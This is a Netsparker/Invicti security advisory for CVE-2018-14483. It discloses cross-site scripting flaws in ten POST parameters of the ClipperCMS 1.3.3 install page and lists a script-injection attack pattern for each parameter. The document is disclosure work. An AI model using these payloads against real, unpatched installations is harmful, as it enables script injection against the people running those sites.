Multiple Cross-site Scripting Vulnerabilities in ClipperCMS 1.3.3

Information

Advisory by Netsparker (now Invicti)
Name: Cross-site Scripting Vulnerabilities in ClipperCMS
Affected Software: ClipperCMS
Affected Versions: 1.3.3
Homepage: https://github.com/ClipperCMS/ClipperCMS
Vulnerability: Cross-site Scripting Vulnerabilities
Severity: High
Status: Not Fixed
CVE-ID: CVE-2018-14483
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-008

Technical Details – (Install Page)

URL: http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name: cmspasswordconfirm
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x001F61)</scRipt>

URL: http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name: cmsadminemail
Parameter Type: POST
Attack Pattern: &nbsp;'"--></style></scRipt><scRipt>netsparker(0x001F59)</scRipt>

URL: http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name: tableengine
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x001F65)</scRipt>

URL: http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name: phpdbapi
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x001F6D)</scRipt>

URL: http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name: cmsadmin
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x001F55)</scRipt>

URL: http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name: database_collation
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x001F69)</scRipt>

URL: http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name: tableprefix
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x001F51)</scRipt>

URL: http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name: databasehost
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x001E83)</scRipt>

URL: http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name: cmspassword
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x001F5D)</scRipt>

URL: http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name: database_name
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x001F4D)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

27th November 2017 – Issue Reported
11th September 2018 – Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.